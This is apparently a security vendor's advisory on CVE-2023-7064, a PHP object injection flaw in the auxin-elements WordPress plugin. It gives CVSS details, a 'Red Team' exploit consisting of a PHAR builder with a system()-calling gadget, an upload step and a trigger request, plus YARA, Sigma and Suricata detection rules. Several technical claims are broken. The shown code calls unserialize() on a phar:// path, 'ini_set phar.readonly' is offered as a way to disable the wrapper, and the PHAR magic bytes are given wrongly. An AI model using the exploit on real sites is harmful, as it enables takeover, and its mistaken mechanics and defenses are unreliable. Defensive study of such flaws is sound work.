CVE-2023-7064

Executive Summary

CVE-2023-7064 is a critical PHP Object Injection vulnerability affecting the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements) in all versions up to and including 2.17.5. The flaw resides in the auxin_template_control_importer function, which deserializes untrusted input from the id parameter without proper sanitization. An authenticated attacker with subscriber-level access can exploit this by uploading a PHAR payload disguised as an image file, leading to PHP Object Injection. While the vulnerable plugin itself lacks a POP chain, the presence of any other plugin or theme with a suitable POP chain on the target system could allow arbitrary file deletion, sensitive data exfiltration, or remote code execution. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk is elevated due to the lack of a patch and the widespread use of WordPress.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and is a commercial add-on for the Phlox theme. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Auxin). No supply chain compromise has been reported, but the unpatched status increases the risk of malicious actors injecting backdoors through this vector.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Although the EPSS score is low, the vulnerability is unpatched and allows a low-privileged attacker to potentially achieve full site compromise if a POP chain exists in another installed component.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection via deserialization. The auxin_template_control_importer function in the auxin-elements plugin accepts a user-supplied id parameter. This parameter is passed directly to PHP's unserialize() function without any validation or sanitization.

Key Technical Details:

• Entry Point: The id parameter in the auxin_template_control_importer AJAX action.
• Attack Vector: An authenticated attacker (subscriber or above) crafts a PHAR file containing a serialized PHP object. The PHAR file is uploaded as an image (e.g., via the WordPress media uploader). The attacker then triggers the vulnerable function with the id parameter set to phar://path/to/uploaded/file.png.
• Deserialization: PHP's phar:// stream wrapper triggers deserialization of the metadata within the PHAR file, leading to object instantiation.
• POP Chain Requirement: The vulnerable plugin itself does not contain a POP chain (gadgets). However, any other plugin or theme on the target system that has a usable POP chain (e.g., via __destruct, __wakeup, __toString magic methods) can be leveraged for code execution, file deletion, or data theft.

Why it's dangerous: Even without a POP chain in the core plugin, the attack surface expands to the entire WordPress installation. A single vulnerable gadget in any installed component can turn this into a full RCE.

Vulnerable vs. Patched Code

Vulnerable Code (auxin-elements <= 2.17.5):

function auxin_template_control_importer() {
    $id = $_POST['id']; // No sanitization
    $data = unserialize($id); // Direct deserialization of user input
    // ... rest of function
}

Patched Code (Hypothetical):

function auxin_template_control_importer() {
    $id = sanitize_text_field($_POST['id']); // Sanitize input
    // Use JSON instead of serialization
    $data = json_decode(stripslashes($id), true);
    // ... rest of function
}

Note: No official patch has been released as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with auxin-elements <= 2.17.5
• Attacker account with subscriber privileges
• A POP chain gadget in another installed plugin/theme (e.g., a plugin with a vulnerable __destruct method)

Exploitation Steps:

1. Craft a PHAR payload: Create a PHP script to generate a PHAR file containing a serialized object that triggers the POP chain.

   <?php
   class Gadget {
       public $cmd = 'id';
       public function __destruct() {
           system($this->cmd);
       }
   }
   $phar = new Phar('exploit.phar');
   $phar->startBuffering();
   $phar->addFromString('test.txt', 'test');
   $phar->setStub('<?php __HALT_COMPILER(); ? >');
   $o = new Gadget();
   $phar->setMetadata($o);
   $phar->stopBuffering();
   rename('exploit.phar', 'exploit.png');
   ?>
   

2. Upload the PHAR as an image: Use WordPress media uploader or direct POST to /wp-admin/async-upload.php with the crafted exploit.png file.

3. Trigger the vulnerability: Send a POST request to the vulnerable AJAX action:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=auxin_template_control_importer&id=phar:///var/www/html/wp-content/uploads/2024/01/exploit.png
   

4. Observe execution: The POP chain's __destruct method executes the id command, outputting the result.

Blue Team (Detection & Defense)

Detection:

• Monitor for phar:// in POST parameters, especially in AJAX requests.
• Alert on deserialization of untrusted data in WordPress plugins.
• Use WAF rules to block phar:// stream wrappers.

Defense:

• Disable the phar:// stream wrapper if not needed: ini_set('phar.readonly', 0); (not recommended for production).
• Implement input validation: Never pass user input to unserialize().
• Use a Web Application Firewall (WAF) with rules to block PHAR deserialization attempts.
• Keep all plugins and themes updated to the latest versions.
• Remove unused plugins/themes to reduce POP chain availability.

Indicators of Compromise (IOCs)

• File: Suspicious .png or .jpg files in /wp-content/uploads/ that are actually PHAR archives (check magic bytes: 50484152).
• Log Entry: POST requests to /wp-admin/admin-ajax.php with action=auxin_template_control_importer and id parameter containing phar://.
• Network: Outbound connections from the web server to external IPs (if RCE is achieved).
• Process: Unexpected PHP processes executing system commands (e.g., id, whoami, curl).

Detection Engineering

YARA Rule

rule CVE_2023_7064_PHAR_Deserialization {
    meta:
        description = "Detects PHAR files used in CVE-2023-7064 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-7064"
    strings:
        $phar_magic = { 50 48 41 52 } // PHAR magic bytes
        $serialized = /O:\d+:"[^"]+":\d+:/ // Serialized object pattern
        $phar_stub = "__HALT_COMPILER"
    condition:
        $phar_magic at 0 and $serialized and $phar_stub
}

Sigma Rule

title: CVE-2023-7064 WordPress PHAR Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit PHP Object Injection via PHAR in auxin-elements plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=auxin_template_control_importer'
        cs-uri-query|contains: 'id=phar://'
    condition: selection
falsepositives:
    - Legitimate use of PHAR files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-7064 WordPress PHAR Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=auxin_template_control_importer"; http_client_body; content:"id=phar://"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable plugin until a patch is released.
2. Remove unused plugins and themes to eliminate potential POP chains.
3. Implement a WAF rule to block phar:// in POST parameters.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor (Auxin) must release a patched version that replaces unserialize() with safe alternatives like json_decode() or implements proper input validation.
• Users should apply the patch as soon as it becomes available.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable function to sanitize the id parameter and avoid deserialization:

  add_filter('auxin_template_control_importer', function($id) {
      return sanitize_text_field($id);
  });
  

  (This is a temporary measure and may break functionality.)

Valters IT
Securing Digital Frontiers